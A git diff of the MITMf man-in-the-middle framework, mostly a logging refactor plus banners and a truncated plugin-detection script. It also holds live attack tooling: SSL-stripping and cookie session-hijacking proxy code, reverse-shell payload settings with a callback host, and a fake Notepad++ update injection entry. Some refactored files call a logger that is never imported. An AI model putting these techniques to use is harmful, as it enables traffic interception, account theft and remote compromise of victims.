diff --git a/README.md b/README.md index 3a5fad3..f1a7b8d 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,4 @@ -MITMf V0.9.7 -============ +#MITMf V0.9.8 - 'The Dark Side' Framework for Man-In-The-Middle attacks @@ -7,10 +6,9 @@ Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.i This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. -Contact me at: -- Twitter: @byt3bl33d3r -- IRC on Freenode: #MITMf -- Email: byt3bl33d3r@gmail.com +Twitter: @byt3bl33d3r +IRC on Freenode: #MITMf +Email: byt3bl33d3r@gmail.com **Update: Installation steps have changed! Please read the new [instructions](#installation)** diff --git a/config/hta_driveby/Flash.hta b/config/hta_driveby/Flash.hta new file mode 100644 index 0000000..38adcf1 --- /dev/null +++ b/config/hta_driveby/Flash.hta @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/config/mitmf.conf b/config/mitmf.conf index a88004b..1747651 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -25,7 +25,7 @@ # port = 445 - type = normal # Can be set to Normal or Karma + mode = normal # Can be set to Normal or Karma # Set a custom challenge Challenge = 1122334455667788 @@ -57,14 +57,13 @@ # ini = /tmp/desktop.ini # bat = /tmp/evil.bat - #This is still experimental, don't uncomment pls! - #[[HTTP]] + [[HTTP]] # # Here you can configure MITMf's internal HTTP server # - #port = 80 + port = 80 #[[[Paths]]] @@ -477,7 +476,7 @@ # PATCH_METHOD overwrites PATCH_TYPE with jump # PATCH_METHOD = automatic PATCH_METHOD = - HOST = 192.168.1.16 + HOST = 192.168.10.11 PORT = 8443 SHELL = iat_reverse_tcp_stager_threaded SUPPLIED_SHELLCODE = None @@ -511,3 +510,10 @@ PORT = 5555 SUPPLIED_SHELLCODE = None MSFPAYLOAD = linux/x64/shell_reverse_tcp + +[EvilGrade] + + [[NotePad++]] + host = 'notepad-plus-plus.org' + url = '/update/getDownloadUrl.php?version=' + data = r'yes%RAND%http://notepad-plus-plus.org/repository/%RAND%/%RAND%/npp.%RAND%.Installer.exe' \ No newline at end of file diff --git a/core/banners.py b/core/banners.py new file mode 100644 index 0000000..51438c8 --- /dev/null +++ b/core/banners.py @@ -0,0 +1,70 @@ +# -*- coding: utf-8 -*- + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import random + +banner1 = """ + __ __ ___ .--. __ __ ___ +| |/ `.' `. |__| | |/ `.' `. _.._ +| .-. .-. '.--. .| | .-. .-. ' .' .._| +| | | | | || | .' |_ | | | | | | | ' +| | | | | || | .' || | | | | | __| |__ +| | | | | || |'--. .-'| | | | | ||__ __| +| | | | | || | | | | | | | | | | | +|__| |__| |__||__| | | |__| |__| |__| | | + | '.' | | + | / | | + `'-' |_| +""" + +banner2= """ + ███▄ ▄███▓ ██▓▄▄▄█████▓ ███▄ ▄███▓ █████▒ +▓██▒▀█▀ ██▒▓██▒▓ ██▒ ▓▒▓██▒▀█▀ ██▒▓██ ▒ +▓██ ▓██░▒██▒▒ ▓██░ ▒░▓██ ▓██░▒████ ░ +▒██ ▒██ ░██░░ ▓██▓ ░ ▒██ ▒██ ░▓█▒ ░ +▒██▒ ░██▒░██░ ▒██▒ ░ ▒██▒ ░██▒░▒█░ +░ ▒░ ░ ░░▓ ▒ ░░ ░ ▒░ ░ ░ ▒ ░ +░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ +░ ░ ▒ ░ ░ ░ ░ ░ ░ + ░ ░ ░ +""" + +banner3 = """ + ▄▄▄▄███▄▄▄▄ ▄█ ███ ▄▄▄▄███▄▄▄▄ ▄████████ + ▄██▀▀▀███▀▀▀██▄ ███ ▀█████████▄ ▄██▀▀▀███▀▀▀██▄ ███ ███ + ███ ███ ███ ███▌ ▀███▀▀██ ███ ███ ███ ███ █▀ + ███ ███ ███ ███▌ ███ ▀ ███ ███ ███ ▄███▄▄▄ + ███ ███ ███ ███▌ ███ ███ ███ ███ ▀▀███▀▀▀ + ███ ███ ███ ███ ███ ███ ███ ███ ███ + ███ ███ ███ ███ ███ ███ ███ ███ ███ + ▀█ ███ █▀ █▀ ▄████▀ ▀█ ███ █▀ ███ +""" + +banner4 = """ +███╗ ███╗██╗████████╗███╗ ███╗███████╗ +████╗ ████║██║╚══██╔══╝████╗ ████║██╔════╝ +██╔████╔██║██║ ██║ ██╔████╔██║█████╗ +██║╚██╔╝██║██║ ██║ ██║╚██╔╝██║██╔══╝ +██║ ╚═╝ ██║██║ ██║ ██║ ╚═╝ ██║██║ +╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ +""" + +def get_banner(): + banners = [banner1, banner2, banner3, banner4] + return random.choice(banners) diff --git a/core/configwatcher.py b/core/configwatcher.py index 2fde1a3..540b337 100644 --- a/core/configwatcher.py +++ b/core/configwatcher.py @@ -18,24 +18,17 @@ # USA # -import logging - from mitmflib.watchdog.observers import Observer from mitmflib.watchdog.events import FileSystemEventHandler from configobj import ConfigObj -logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages - -log = logging.getLogger('mitmf') - -class ConfigWatcher(FileSystemEventHandler): +class ConfigWatcher(FileSystemEventHandler, object): @property def config(self): return ConfigObj("./config/mitmf.conf") def on_modified(self, event): - log.debug("[{}] Detected configuration changes, reloading!".format(self.name)) self.on_config_change() def start_config_watch(self): diff --git a/core/ferretng/ClientRequest.py b/core/ferretng/ClientRequest.py index c9eeb36..1ca45d8 100644 --- a/core/ferretng/ClientRequest.py +++ b/core/ferretng/ClientRequest.py @@ -39,7 +39,8 @@ from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache -mitmf_logger = logging.getLogger('mitmf') +formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_ClientRequest", formatter) class ClientRequest(Request): @@ -62,7 +63,7 @@ class ClientRequest(Request): if 'accept-encoding' in headers: del headers['accept-encoding'] - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Zapped encoding") + log.debug("[ClientRequest] Zapped encoding") if 'if-modified-since' in headers: del headers['if-modified-since'] @@ -74,10 +75,10 @@ class ClientRequest(Request): try: for entry in self.urlMonitor.cookies[self.urlMonitor.hijack_client]: if headers['host'] == entry['host']: - mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host'])) + log.info("Hijacking session for host: {}".format(headers['host'])) headers['cookie'] = entry['cookie'] except KeyError: - mitmf_logger.error("[Ferret-NG] No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client)) + log.error("No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client)) pass return headers @@ -90,7 +91,7 @@ class ClientRequest(Request): return self.uri def handleHostResolvedSuccess(self, address): - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) + log.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) host = self.getHeader("host") headers = self.cleanHeaders() client = self.getClientIP() @@ -107,18 +108,18 @@ class ClientRequest(Request): self.dnsCache.cacheResolution(hostparts[0], address) if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending expired cookies") + log.debug("[ClientRequest] Sending expired cookies") self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): if 'securelink' in headers: del headers['securelink'] - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via SSL ({})".format((client,url))) + log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url))) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via HTTP") + log.debug("[ClientRequest] Sending request via HTTP") #self.proxyViaHTTP(address, self.method, path, postData, headers) port = 80 if len(hostparts) > 1: @@ -127,7 +128,7 @@ class ClientRequest(Request): self.proxyViaHTTP(address, self.method, path, postData, headers, port) def handleHostResolvedError(self, error): - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host resolution error: {}".format(error)) + log.debug("[ClientRequest] Host resolution error: {}".format(error)) try: self.finish() except: @@ -137,13 +138,13 @@ class ClientRequest(Request): address = self.dnsCache.getCachedAddress(host) if address != None: - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host cached: {} {}".format(host, address)) + log.debug("[ClientRequest] Host cached: {} {}".format(host, address)) return defer.succeed(address) else: return reactor.resolve(host) def process(self): - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolving host: {}".format(self.getHeader('host'))) + log.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host'))) host = self.getHeader('host').split(":")[0] deferred = self.resolveHost(host) diff --git a/core/ferretng/DnsCache.py b/core/ferretng/DnsCache.py index f0cc638..f839f23 100644 --- a/core/ferretng/DnsCache.py +++ b/core/ferretng/DnsCache.py @@ -16,10 +16,6 @@ # USA # -import logging - -mitmf_logger = logging.getLogger('mitmf') - class DnsCache: ''' diff --git a/core/ferretng/SSLServerConnection.py b/core/ferretng/SSLServerConnection.py index 82dc8d1..d783c10 100644 --- a/core/ferretng/SSLServerConnection.py +++ b/core/ferretng/SSLServerConnection.py @@ -21,7 +21,8 @@ import logging, re, string from ServerConnection import ServerConnection from URLMonitor import URLMonitor -mitmf_logger = logging.getLogger('mitmf') +formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_SSLServerConnection", formatter) class SSLServerConnection(ServerConnection): @@ -63,13 +64,13 @@ class SSLServerConnection(ServerConnection): if ((not link.startswith('http')) and (not link.startswith('/'))): absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link - mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found path-relative link in secure transmission: " + link) - mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute path-relative link: " + absoluteLink) + log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link) + log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink) elif not link.startswith('http'): absoluteLink = "http://"+self.headers['host']+link - mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found relative link in secure transmission: " + link) - mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute link: " + absoluteLink) + log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link) + log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink) if not absoluteLink == "": absoluteLink = absoluteLink.replace('&', '&') diff --git a/core/ferretng/ServerConnection.py b/core/ferretng/ServerConnection.py index e1e04ef..b08e943 100644 --- a/core/ferretng/ServerConnection.py +++ b/core/ferretng/ServerConnection.py @@ -28,7 +28,8 @@ import sys from twisted.web.http import HTTPClient from URLMonitor import URLMonitor -mitmf_logger = logging.getLogger('mitmf') +formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_ServerConnection", formatter) class ServerConnection(HTTPClient): @@ -66,13 +67,13 @@ class ServerConnection(HTTPClient): def sendRequest(self): if self.command == 'GET': - mitmf_logger.debug(self.client.getClientIP() + " [Ferret-NG] Sending Request: {}".format(self.headers['host'])) + log.debug(self.client.getClientIP() + "Sending Request: {}".format(self.headers['host'])) self.sendCommand(self.command, self.uri) def sendHeaders(self): for header, value in self.headers.iteritems(): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Sending header: ({}: {})".format(header, value)) + log.debug("[ServerConnection] Sending header: ({}: {})".format(header, value)) self.sendHeader(header, value) self.endHeaders() @@ -82,7 +83,7 @@ class ServerConnection(HTTPClient): self.transport.write(self.postData) def connectionMade(self): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] HTTP connection made.") + log.debug("[ServerConnection] HTTP connection made.") self.sendRequest() self.sendHeaders() @@ -90,7 +91,7 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Server response: {} {} {}".format(version, code, message)) + log.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) self.client.setResponseCode(int(code), message) def handleHeader(self, key, value): @@ -100,15 +101,15 @@ class ServerConnection(HTTPClient): if (key.lower() == 'content-type'): if (value.find('image') != -1): self.isImageRequest = True - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is image content, not scanning") + log.debug("[ServerConnection] Response is image content, not scanning") if (key.lower() == 'content-encoding'): if (value.find('gzip') != -1): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is compressed") + log.debug("[ServerConnection] Response is compressed") self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Zapped a strict-trasport-security header") + log.debug("[ServerConnection] Zapped a strict-trasport-security header") elif (key.lower() == 'content-length'): self.contentLength = value @@ -126,9 +127,9 @@ class ServerConnection(HTTPClient): if self.length == 0: self.shutdown() - if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG": + if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG": for header, value in self.client.headers.iteritems(): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Receiving header: ({}: {})".format(header, value)) + log.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value)) def handleResponsePart(self, data): if (self.isImageRequest): @@ -147,12 +148,12 @@ class ServerConnection(HTTPClient): def handleResponse(self, data): if (self.isCompressed): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Decompressing content...") + log.debug("[ServerConnection] Decompressing content...") data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() data = self.replaceSecureLinks(data) - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Read from server {} bytes of data".format(len(data))) + log.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) if (self.contentLength != None): self.client.setHeader('Content-Length', len(data)) @@ -165,7 +166,7 @@ class ServerConnection(HTTPClient): try: self.shutdown() except: - mitmf_logger.info("[Ferret-NG] [ServerConnection] Client connection dropped before request finished.") + log.info("[ServerConnection] Client connection dropped before request finished.") def replaceSecureLinks(self, data): @@ -174,7 +175,7 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Found secure reference: " + url) + log.debug("[ServerConnection] Found secure reference: " + url) url = url.replace('https://', 'http://', 1) url = url.replace('&', '&') diff --git a/core/ferretng/ServerConnectionFactory.py b/core/ferretng/ServerConnectionFactory.py index a64c800..bd9c83b 100644 --- a/core/ferretng/ServerConnectionFactory.py +++ b/core/ferretng/ServerConnectionFactory.py @@ -17,9 +17,11 @@ # import logging +from core.logger import logger from twisted.internet.protocol import ClientFactory -mitmf_logger = logging.getLogger('mimtf') +formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_ServerConnectionFactory", formatter) class ServerConnectionFactory(ClientFactory): @@ -34,12 +36,12 @@ class ServerConnectionFactory(ClientFactory): return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) def clientConnectionFailed(self, connector, reason): - mitmf_logger.debug("[ServerConnectionFactory] Server connection failed.") + log.debug("Server connection failed.") destination = connector.getDestination() if (destination.port != 443): - mitmf_logger.debug("[ServerConnectionFactory] Retrying via SSL") + log.debug("Retrying via SSL") self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) else: try: diff --git a/core/ferretng/URLMonitor.py b/core/ferretng/URLMonitor.py index 85386f9..1773fc2 100644 --- a/core/ferretng/URLMonitor.py +++ b/core/ferretng/URLMonitor.py @@ -18,9 +18,6 @@ import re import os -import logging - -mitmf_logger = logging.getLogger('mimtf') class URLMonitor: diff --git a/core/html/htadriveby.html b/core/html/htadriveby.html new file mode 100644 index 0000000..f35ff4e --- /dev/null +++ b/core/html/htadriveby.html @@ -0,0 +1,71 @@ + \ No newline at end of file diff --git a/core/javascript/plugindetect.js b/core/javascript/plugindetect.js index 6f25433..bf85b89 100644 --- a/core/javascript/plugindetect.js +++ b/core/javascript/plugindetect.js @@ -8,6 +8,1227 @@ www.pinlady.net/PluginDetect/license/ var PluginDetect={version:"0.9.0",name:"PluginDetect",addPlugin:function(p,q){if(p&&PluginDetect.isString(p)&&q&&PluginDetect.isFunc(q.getVersion)){p=p.replace(/\s/g,"").toLowerCase();PluginDetect.Plugins[p]=q;if(!PluginDetect.isDefined(q.getVersionDone)){q.installed=null;q.version=null;q.version0=null;q.getVersionDone=null;q.pluginName=p;}}},uniqueName:function(){return PluginDetect.name+"998"},openTag:"<",hasOwnPROP:({}).constructor.prototype.hasOwnProperty,hasOwn:function(s,t){var p;try{p=PluginDetect.hasOwnPROP.call(s,t)}catch(q){}return !!p},rgx:{str:/string/i,num:/number/i,fun:/function/i,arr:/array/i},toString:({}).constructor.prototype.toString,isDefined:function(p){return typeof p!="undefined"},isArray:function(p){return PluginDetect.rgx.arr.test(PluginDetect.toString.call(p))},isString:function(p){return PluginDetect.rgx.str.test(PluginDetect.toString.call(p))},isNum:function(p){return PluginDetect.rgx.num.test(PluginDetect.toString.call(p))},isStrNum:function(p){return PluginDetect.isString(p)&&(/\d/).test(p)},isFunc:function(p){return PluginDetect.rgx.fun.test(PluginDetect.toString.call(p))},getNumRegx:/[\d][\d\.\_,\-]*/,splitNumRegx:/[\.\_,\-]/g,getNum:function(q,r){var p=PluginDetect.isStrNum(q)?(PluginDetect.isDefined(r)?new RegExp(r):PluginDetect.getNumRegx).exec(q):null;return p?p[0]:null},compareNums:function(w,u,t){var s,r,q,v=parseInt;if(PluginDetect.isStrNum(w)&&PluginDetect.isStrNum(u)){if(PluginDetect.isDefined(t)&&t.compareNums){return t.compareNums(w,u)}s=w.split(PluginDetect.splitNumRegx);r=u.split(PluginDetect.splitNumRegx);for(q=0;qv(r[q],10)){return 1}if(v(s[q],10)r||!(/\d/).test(s[p])){s[p]="0"}}return s.slice(0,4).join(",")},pd:{getPROP:function(s,q,p){try{if(s){p=s[q]}}catch(r){}return p},findNavPlugin:function(u){if(u.dbug){return u.dbug}var A=null;if(window.navigator){var z={Find:PluginDetect.isString(u.find)?new RegExp(u.find,"i"):u.find,Find2:PluginDetect.isString(u.find2)?new RegExp(u.find2,"i"):u.find2,Avoid:u.avoid?(PluginDetect.isString(u.avoid)?new RegExp(u.avoid,"i"):u.avoid):0,Num:u.num?/\d/:0},s,r,t,y,x,q,p=navigator.mimeTypes,w=navigator.plugins;if(u.mimes&&p){y=PluginDetect.isArray(u.mimes)?[].concat(u.mimes):(PluginDetect.isString(u.mimes)?[u.mimes]:[]);for(s=0;s-1&&p>r&&s[p]!="0"){return q}if(v[p]!=s[p]){if(r==-1){r=p}if(s[p]!="0"){return q}}}return t},AXO:(function(){var q;try{q=new window.ActiveXObject()}catch(p){}return q?null:window.ActiveXObject})(),getAXO:function(p){var r=null;try{r=new PluginDetect.AXO(p)}catch(q){PluginDetect.errObj=q;}if(r){PluginDetect.browser.ActiveXEnabled=!0}return r},browser:{detectPlatform:function(){var r=this,q,p=window.navigator?navigator.platform||"":"";PluginDetect.OS=100;if(p){var s=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\\s*PC",22.3,"",100];for(q=s.length-2;q>=0;q=q-2){if(s[q]&&new RegExp(s[q],"i").test(p)){PluginDetect.OS=s[q+1];break}}}},detectIE:function(){var r=this,u=document,t,q,v=window.navigator?navigator.userAgent||"":"",w,p,y;r.ActiveXFilteringEnabled=!1;r.ActiveXEnabled=!1;try{r.ActiveXFilteringEnabled=!!window.external.msActiveXFilteringEnabled()}catch(s){}p=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","TDCCtl.TDCCtl","Shell.UIHelper","HtmlDlgSafeHelper.HtmlDlgSafeHelper","Scripting.Dictionary"];y=["WMPlayer.OCX","ShockwaveFlash.ShockwaveFlash","AgControl.AgControl"];w=p.concat(y);for(t=0;t=7?u.documentMode:0)||((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(v)?parseFloat(RegExp.$1,10):7)}},detectNonIE:function(){var p=this,s=window.navigator?navigator:{},r=p.isIE?"":s.userAgent||"",t=s.vendor||"",q=s.product||"";p.isGecko=(/Gecko/i).test(q)&&(/Gecko\s*\/\s*\d/i).test(r);p.verGecko=p.isGecko?PluginDetect.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(r)?RegExp.$1:"0.9"):null;p.isOpera=(/(OPR\s*\/|Opera\s*\/\s*\d.*\s*Version\s*\/|Opera\s*[\/]?)\s*(\d+[\.,\d]*)/i).test(r);p.verOpera=p.isOpera?PluginDetect.formatNum(RegExp.$2):null;p.isChrome=!p.isOpera&&(/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(r);p.verChrome=p.isChrome?PluginDetect.formatNum(RegExp.$2):null;p.isSafari=!p.isOpera&&!p.isChrome&&((/Apple/i).test(t)||!t)&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(r);p.verSafari=p.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(r)?PluginDetect.formatNum(RegExp.$1):null;},init:function(){var p=this;p.detectPlatform();p.detectIE();p.detectNonIE()}},init:{hasRun:0,library:function(){window[PluginDetect.name]=PluginDetect;var q=this,p=document;PluginDetect.win.init();PluginDetect.head=p.getElementsByTagName("head")[0]||p.getElementsByTagName("body")[0]||p.body||null;PluginDetect.browser.init();q.hasRun=1;}},ev:{addEvent:function(r,q,p){if(r&&q&&p){if(r.addEventListener){r.addEventListener(q,p,false)}else{if(r.attachEvent){r.attachEvent("on"+q,p)}else{r["on"+q]=this.concatFn(p,r["on"+q])}}}},removeEvent:function(r,q,p){if(r&&q&&p){if(r.removeEventListener){r.removeEventListener(q,p,false)}else{if(r.detachEvent){r.detachEvent("on"+q,p)}}}},concatFn:function(q,p){return function(){q();if(typeof p=="function"){p()}}},handler:function(t,s,r,q,p){return function(){t(s,r,q,p)}},handlerOnce:function(s,r,q,p){return function(){var u=PluginDetect.uniqueName();if(!s[u]){s[u]=1;s(r,q,p)}}},handlerWait:function(s,u,r,q,p){var t=this;return function(){t.setTimeout(t.handler(u,r,q,p),s)}},setTimeout:function(q,p){if(PluginDetect.win&&PluginDetect.win.unload){return}setTimeout(q,p)},fPush:function(q,p){if(PluginDetect.isArray(p)&&(PluginDetect.isFunc(q)||(PluginDetect.isArray(q)&&q.length>0&&PluginDetect.isFunc(q[0])))){p.push(q)}},call0:function(q){var p=PluginDetect.isArray(q)?q.length:-1;if(p>0&&PluginDetect.isFunc(q[0])){q[0](PluginDetect,p>1?q[1]:0,p>2?q[2]:0,p>3?q[3]:0)}else{if(PluginDetect.isFunc(q)){q(PluginDetect)}}},callArray0:function(p){var q=this,r;if(PluginDetect.isArray(p)){while(p.length){r=p[0];p.splice(0,1);if(PluginDetect.win&&PluginDetect.win.unload&&p!==PluginDetect.win.unloadHndlrs){}else{q.call0(r)}}}},call:function(q){var p=this;p.call0(q);p.ifDetectDoneCallHndlrs()},callArray:function(p){var q=this;q.callArray0(p);q.ifDetectDoneCallHndlrs()},allDoneHndlrs:[],ifDetectDoneCallHndlrs:function(){var r=this,p,q;if(!r.allDoneHndlrs.length){return}if(PluginDetect.win){if(!PluginDetect.win.loaded||PluginDetect.win.loadPrvtHndlrs.length||PluginDetect.win.loadPblcHndlrs.length){return}}if(PluginDetect.Plugins){for(p in PluginDetect.Plugins){if(PluginDetect.hasOwn(PluginDetect.Plugins,p)){q=PluginDetect.Plugins[p];if(q&&PluginDetect.isFunc(q.getVersion)){if(q.OTF==3||(q.DoneHndlrs&&q.DoneHndlrs.length)||(q.BIHndlrs&&q.BIHndlrs.length)){return}}}}}r.callArray0(r.allDoneHndlrs);}},isMinVersion:function(v,u,r,q){var s=PluginDetect.pd.findPlugin(v),t,p=-1;if(s.status<0){return s.status}t=s.plugin;u=PluginDetect.formatNum(PluginDetect.isNum(u)?u.toString():(PluginDetect.isStrNum(u)?PluginDetect.getNum(u):"0"));if(t.getVersionDone!=1){t.getVersion(u,r,q);if(t.getVersionDone===null){t.getVersionDone=1}}if(t.installed!==null){p=t.installed<=0.5?t.installed:(t.installed==0.7?1:(t.version===null?0:(PluginDetect.compareNums(t.version,u,t)>=0?1:-0.1)))}return p},getVersion:function(u,r,q){var s=PluginDetect.pd.findPlugin(u),t,p;if(s.status<0){return null}t=s.plugin;if(t.getVersionDone!=1){t.getVersion(null,r,q);if(t.getVersionDone===null){t.getVersionDone=1}}p=(t.version||t.version0);p=p?p.replace(PluginDetect.splitNumRegx,PluginDetect.pd.getVersionDelimiter):p;return p},hasMimeType:function(t){if(t&&window.navigator&&navigator.mimeTypes){var w,v,q,s,p=navigator.mimeTypes,r=PluginDetect.isArray(t)?[].concat(t):(PluginDetect.isString(t)?[t]:[]);s=r.length;for(q=0;q=0){p=(u.L.x==q.x?s.isActiveXObject(u,q.v):PluginDetect.compareNums(t,u.L.v)<=0)?1:-1}}return p},search:function(v){var B=this,w=v.$$,q=0,r;r=v.searchHasRun||B.isDisabled()?1:0;v.searchHasRun=1;if(r){return v.version||null}B.init(v);var F,E,D,s=v.DIGITMAX,t,p,C=99999999,u=[0,0,0,0],G=[0,0,0,0];var A=function(y,PluginDetect){var H=[].concat(u),I;H[y]=PluginDetect;I=B.isActiveXObject(v,H.join(","));if(I){q=1;u[y]=PluginDetect}else{G[y]=PluginDetect}return I};for(F=0;FG[F]&&PluginDetect.compareNums(p,v.Lower[D])>=0&&PluginDetect.compareNums(t,v.Upper[D])<0){G[F]=Math.floor(s[D][F])}}}for(E=0;E<30;E++){if(G[F]-u[F]<=16){for(D=G[F];D>=u[F]+(F?1:0);D--){if(A(F,D)){break}}break}A(F,Math.round((G[F]+u[F])/2))}if(!q){break}G[F]=u[F];}if(q){v.version=B.convert(v,u.join(",")).v}return v.version||null},emptyNode:function(p){try{p.innerHTML=""}catch(q){}},HTML:[],len:0,onUnload:function(r,q){var p,t=q.HTML,s;for(p=0;p'+PluginDetect.openTag+"/object>";for(p=0;p=0){return 0}r.innerHTML=u.tagA+q+u.tagB;if(PluginDetect.pd.getPROP(r.firstChild,"object")){p=1}if(p){u.min=q;t.HTML.push({spanObj:r,span:t.span})}else{u.max=q;r.innerHTML=""}return p},span:function(){return this.spanObj},convert_:function(t,p,q,s){var r=t.convert[p];return r?(PluginDetect.isFunc(r)?PluginDetect.formatNum(r(q.split(PluginDetect.splitNumRegx),s).join(",")):q):r},convert:function(v,r,u){var t=this,q,p,s;r=PluginDetect.formatNum(r);p={v:r,x:-1};if(r){for(q=0;q=0&&(!q||PluginDetect.compareNums(r,u?t.convert_(v,q,v.Upper[q]):v.Upper[q])<0)){p.v=t.convert_(v,q,r,u);p.x=q;break}}}return p},z:0},win:{disable:function(){this.cancel=true},cancel:false,loaded:false,unload:false,hasRun:0,init:function(){var p=this;if(!p.hasRun){p.hasRun=1;if((/complete/i).test(document.readyState||"")){p.loaded=true;}else{PluginDetect.ev.addEvent(window,"load",p.onLoad)}PluginDetect.ev.addEvent(window,"unload",p.onUnload)}},loadPrvtHndlrs:[],loadPblcHndlrs:[],unloadHndlrs:[],onUnload:function(){var p=PluginDetect.win;if(p.unload){return}p.unload=true;PluginDetect.ev.removeEvent(window,"load",p.onLoad);PluginDetect.ev.removeEvent(window,"unload",p.onUnload);PluginDetect.ev.callArray(p.unloadHndlrs)},onLoad:function(){var p=PluginDetect.win;if(p.loaded||p.unload||p.cancel){return}p.loaded=true;PluginDetect.ev.callArray(p.loadPrvtHndlrs);PluginDetect.ev.callArray(p.loadPblcHndlrs);}},DOM:{isEnabled:{objectTag:function(){var q=PluginDetect.browser,p=q.isIE?0:1;if(q.ActiveXEnabled){p=1}return !!p},objectTagUsingActiveX:function(){var p=0;if(PluginDetect.browser.ActiveXEnabled){p=1}return !!p},objectProperty:function(p){if(p&&p.tagName&&PluginDetect.browser.isIE){if((/applet/i).test(p.tagName)){return(!this.objectTag()||PluginDetect.isDefined(PluginDetect.pd.getPROP(document.createElement("object"),"object"))?1:0)}return PluginDetect.isDefined(PluginDetect.pd.getPROP(document.createElement(p.tagName),"object"))?1:0}return 0}},HTML:[],div:null,divID:"plugindetect",divWidth:500,getDiv:function(){return this.div||document.getElementById(this.divID)||null},initDiv:function(){var q=this,p;if(!q.div){p=q.getDiv();if(p){q.div=p;}else{q.div=document.createElement("div");q.div.id=q.divID;q.setStyle(q.div,q.getStyle.div());q.insertDivInBody(q.div)}PluginDetect.ev.fPush([q.onUnload,q],PluginDetect.win.unloadHndlrs)}p=0},pluginSize:1,iframeWidth:40,iframeHeight:10,altHTML:"     ",emptyNode:function(q){var 